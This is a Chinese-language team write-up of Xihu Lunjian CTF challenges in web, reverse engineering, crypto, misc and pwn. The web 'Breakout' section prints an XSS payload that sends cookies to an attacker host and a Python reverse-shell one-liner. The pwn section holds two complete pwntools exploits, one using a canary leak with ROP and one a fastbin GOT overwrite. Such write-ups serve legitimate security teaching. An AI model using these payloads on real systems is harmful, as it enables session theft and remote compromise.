西湖论剑
太菜了最后只有18名
都怪我划水
还是得夸aris和liano太强了
WEB
web1
<?php
//index.php
$a = @$_GET['file'];
if (!$a) {
$a = './templates/index.html';
}
echo 'include $_GET[\'file\']';
if (strpos('flag',$a)!==false) {
die('nonono');
}
include $a;
hint :dir.php
//dir.php
<?php
$a = @$_GET['dir'];
if(!$a){
$a = '/tmp';
}
var_dump(scandir($a));
用dir.php可以看根目录文件
flag在这里
然后直接用index.php读
就得到flag了
猜猜flag是什么
根目录下有.DS_Store
泄露,脱下来可以发现一下内容:
继续扫描 /e10adc3949ba59abbe56e057f20f883e/
这个目录发现有 .git
泄露
用 githack
获得一个加密压缩包BackupForMySite.zip,不过我们有他里面的部分内容:index.php
lengzhu.jpg
。那么用明文攻击解开压缩包,明文压缩包要用bindzip
来压缩。。。
里面的 hint 带有激活码,并且说 flag 在 /flag/seed.txt
(直接访问说NAIVE)
输入到主页中用get请求,参数为code=激活码
就可以得到一个数字
既然说是seed
那么猜测为 php 的随机数种子。
使用php_mt_seed
将上一步拿到的数字丢进去跑,爆破出seed
的值
访问/flag/${seed}.txt 就可以获得flag了
Breakout
插进留言版
<iframe src="javascript:window.location.href='http://xxxx:8000/?a='+document.cookie"
去report
页面提交留言板地址,验证码脚本:
import hashlib
def md5(key):
m = hashlib.md5()
m.update(key.encode('utf-8'))
return m.hexdigest()
for i in range(1000000000):
if md5(str(i))[0:6] == '7751c4':
print(i)
break
然后拿到cookie
后替换,反弹shell
到自己的服务器上:
command=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",8000));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'&exec=1
flag
在根目录下的flag.txt
。
RE
easyCPP
根据名字就很容易看出是个斐波那契数列了,他先取你输入的第一个和后面每个相加,再倒序之后得是从1开始的15个斐波那契数,于是逆一下得出输入
987 -377 -610 -754 -843 -898 -932 -953 -966 -974 -979 -982 -984 -985 -986 -986
testre
base58改都没改=-=一把梭
>>> import base58
>>> base58.b58decode('D9cS9N9iHjMLTdA8YSMRMp')
'base58_is_boring'
Junk_Instruction
动调题,ida载入半天也找不到啥东西=。=果断掏出OD下API断点找到关键函数sub_402600
由于还有花指令,不如继续动调,跟了一会,找到了像是rc4的S-box,盲猜
[0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]就是密文
qwertyuiop是key,然后解个rc4,嗯?错了?倒个序,嗯,看来是没错=。=
from Crypto.Cipher import ARC4
key = 'qwertyuiop'
a = [0x5b, 0xd6, 0xd0, 0x26, 0xc8, 0xdd, 0x19, 0x7e, 0x6e, 0x3e,
0xcb, 0x16, 0x91, 0x7d, 0xff, 0xaf, 0xdd, 0x76, 0x64, 0xb0, 0xf7, 0xe5,
0x89, 0x57, 0x82, 0x9f, 0xc, 0x0, 0x9e, 0xd0, 0x45, 0xfa]
enc = ''
for i in a:
enc += chr(i)
rc4 = ARC4.new(key)
print(rc4.decrypt(enc)[::-1])
Crypto
哈夫曼之谜
就是哈夫曼编码,刚巧上半年数据结构作业的代码还在:
/**
*
* @class TreeNode
*/
class TreeNode {
constructor(weight = 0, item = "") {
this.item = item;
this.weight = weight;
this.lNode = null;
this.rNode = null;
}
}
/**
*
* @class huffmanTree
*/
class huffmanTree {
constructor(text) {
this.root = null;
this.generate(text);
}
generate(text) {
const countFreqs = function(text) {
let freqs = {};
for (let char of text) {
if (!freqs[char]) {
freqs[char] = 0;
}
freqs[char]++;
}
return freqs;
};
const createhuffmanTree = function(data) {
if (data.length === 1) return data[0];
data
.sort(function(node1, node2) {
return node1.weight - node2.weight;
})
.reverse();
let lNode = data.pop();
let rNode = data.pop();
let newNode = new TreeNode(lNode.weight + rNode.weight, "");
newNode.lNode = lNode;
newNode.rNode = rNode;
data.push(newNode);
return createhuffmanTree(data);
};
let freqs = countFreqs(text);
let data = [...new Set(text.split(""))].map(function(item) {
return new TreeNode(freqs[item], item);
});
this.root = createhuffmanTree(data);
}
}
/**
*
* @class HuffmanCode
*/
class HuffmanCode {
constructor() {
this.codeTable = {};
this.tree = null;
}
/**
*
* @param {*} text
* @memberof HuffmanCode
*/
encode(text) {
const traverseTree = function(node, arr, code) {
if (node.lNode !== null && node.rNode != null) {
traverseTree(node.lNode, arr, code + "0");
traverseTree(node.rNode, arr, code + "1");
}
arr[node.item] = code;
};
this.tree = new huffmanTree(text);
traverseTree(this.tree.root, this.codeTable, "");
delete this.codeTable[""];
let res = "";
for (let i of text) {
res += this.codeTable[i];
}
console.log(res);
}
/**
*
* @param {*} text
* @memberof HuffmanCode
*/
decode(text) {
let count = 0;
let res = "";
const decodeNode = node => {
if (count > text.length) return null;
if (node.lNode === null && node.rNode === null) {
res += node.item;
decodeNode(this.tree.root);
} else {
if (text[count] === "1") {
count++;
decodeNode(node.rNode);
} else {
count++;
decodeNode(node.lNode);
}
}
};
decodeNode(this.tree.root);
console.log(res);
}
}
let text = "ddddddddd5555555550000000aaaafffff{gl}";
let huffmanCode = new HuffmanCode();
huffmanCode.encode(text);
huffmanCode.decode("11000111000001010010010101100110110101111101110101011110111111100001000110010110101111001101110001000110");
字符的权重对应字符的个数,先encode生成Huffman树,再把给出的密文decode一下就好了。相同权重的字符可能会有左右节点的顺序差别,手动交换一下他们在字符串text
中的顺序即可
最后解得flag为 flag{ddf5dfd0f05550500a5af55dd0d5d0ad}
Misc
奇怪的TTL字段
发现ttl.txt中的ttl只有4个值63,127,191,255,写出他们的二进制表示后发现只有最高两位不同
于是考虑做如下转换,发现写出来的16进制数开头是ffd8,应该是jpg,于是写入文件中
fp = open('ttl.txt','r')
a = fp.readlines()
p = []
for i in a:
p.append(int(i[4:]))
s = ''
for i in p:
if i == 63:
a = '00'
elif i == 127:
a = '01'
elif i == 191:
a = '10'
elif i == 255:
a = '11'
s += a
# print(s)
import binascii
flag = ''
for i in range(0,len(s),8):
flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res.jpg','wb')
wp.write(flag)
wp.close()
#00111111 63
#01111111 127
#10111111 191
#11111111 255
写完之后发现只有二维码的一部分,应该是不止一张图,用foremost直接分开就好了,之后用ps拼在一块,扫描之后得到如下信息
key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}
应该就是AutoKey那个加密了,找了个在线网站解密
https://www.wishingstarmoye.com/ctf/autokey
得到flag{2028ab39927df1d96e6a12b03e58002e}
最短的路
flag{ 只跟 E3 有联系
75D}只跟 FloraPrice 有联系
正好可以找 和 FloraPrice 和E3有联系的
在列表翻一下正好找到
EvelynJefferson
flag: E3EvelynJeffersonE9FloraPrice75D
PWN
story
基础题,利用格式化字符串leak canary之后栈溢出ROP
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
binary_name = 'story'
if local:
cn = process('./story')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
cn = remote('ctf2.linkedbyx.com',10885)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('')
ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)
bin = ELF('./'+binary_name,checksec=False)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
prdi = 0x0000000000400bd3
prsi = 0x0000000000400bd1
cn.sendlineafter('ID:','%15$p')
cn.recvuntil('0x')
canary = int(cn.recvline()[:-1],16)
success('canary:'+hex(canary))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(prdi) + p64(bin.got['puts']) +p64(bin.plt['puts'])
buf+= p64(0x4009A0)
cn.sendline(buf)
cn.recvline()
cn.recvline()
lbase = u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
success('lbase:'+hex(lbase))
cn.sendlineafter('size',str(1024))
buf = 'a'*0x88+p64(canary)+p64(0)
buf+= p64(0x4526a+lbase)+p64(0)*0x10
cn.sendline(buf)
cn.interactive()
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''
noinfoleak
说是noinfoleak,但其实很容易就能leak信息。。。就是个普通的fastbin题,和第一题比说实话值不了300分(当然第一题也是抄的,就很emmmm)
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 0
binary_name = 'noinfoleak'
if local:
cn = process('./noinfoleak')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
cn = remote('ctf1.linkedbyx.com',10446)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)
bin = ELF('./'+binary_name,checksec=False)
def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()
def add(sz,con):
sla('>','1')
sla('>',str(sz))
sla('>',con)
def dele(idx):
sla('>','2')
sla('>',str(idx))
def edit(idx,con):
sla('>','3')
sla('>',str(idx))
sa('>',con)
add(0x30,'/bin/sh\x00')#0
add(0x20,'bbb')#1
add(0x20,'ccc')#2
dele(1)
dele(2)
dele(1)
add(0x20,p64(0x6010a0))#3
add(0x20,'ddd')#4
add(0x20,'eee')#5
add(0x20,p64(0x601018))#6
# z('c')
edit(1,p64(bin.plt['puts']))
edit(6,p64(bin.got['puts']))
dele(1)
lbase =u64(cn.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
edit(6,p64(bin.got['free']))
edit(1,p64(lbase+libc.sym['system']))
dele(0)
cn.interactive()